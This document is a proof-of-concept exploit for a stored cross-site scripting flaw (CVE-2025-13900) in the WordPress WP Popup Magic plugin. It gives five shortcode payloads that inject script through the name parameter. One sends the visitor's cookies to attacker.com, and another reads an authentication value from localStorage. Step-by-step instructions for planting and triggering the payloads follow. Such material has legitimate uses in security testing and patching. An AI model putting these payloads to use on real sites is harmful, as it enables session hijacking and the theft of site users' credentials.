CVE-2025-13900 WordPress WP Popup Magic插件存储型XSS漏洞

<!-- CVE-2025-13900 PoC: Stored XSS via [wppum_end] shortcode --> <!-- Author: Generated for CVE-2025-13900 Target: WordPress WP Popup Magic Plugin <= 1.0.0 Attack Vector: Stored XSS via name parameter of [wppum_end] shortcode Requirements: Contributor-level access or higher --> <!-- Basic XSS PoC --> [wppum_end name='"><script>alert(document.cookie)</script>'] <!-- Event Handler Based XSS PoC --> [wppum_end name='" onmouseover="alert(String.fromCharCode(88,83,83))" x='] <!-- Image Tag Based XSS PoC --> [wppum_end name='"><img src=x onerror=alert(document.domain)>'] <!-- Steal Cookies PoC --> [wppum_end name='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Auto-execute PoC using onload --> [wppum_end name='"><svg/onload=alert(localStorage.getItem("wp_auth"))>'] <!-- Usage Instructions: 1. Login to WordPress with Contributor or higher privileges 2. Edit any post/page or create new content 3. Insert one of the above shortcodes in the editor 4. Save/publish the post 5. Visit the page to trigger the XSS payload 6. The JavaScript will execute in the context of the victim's browser -->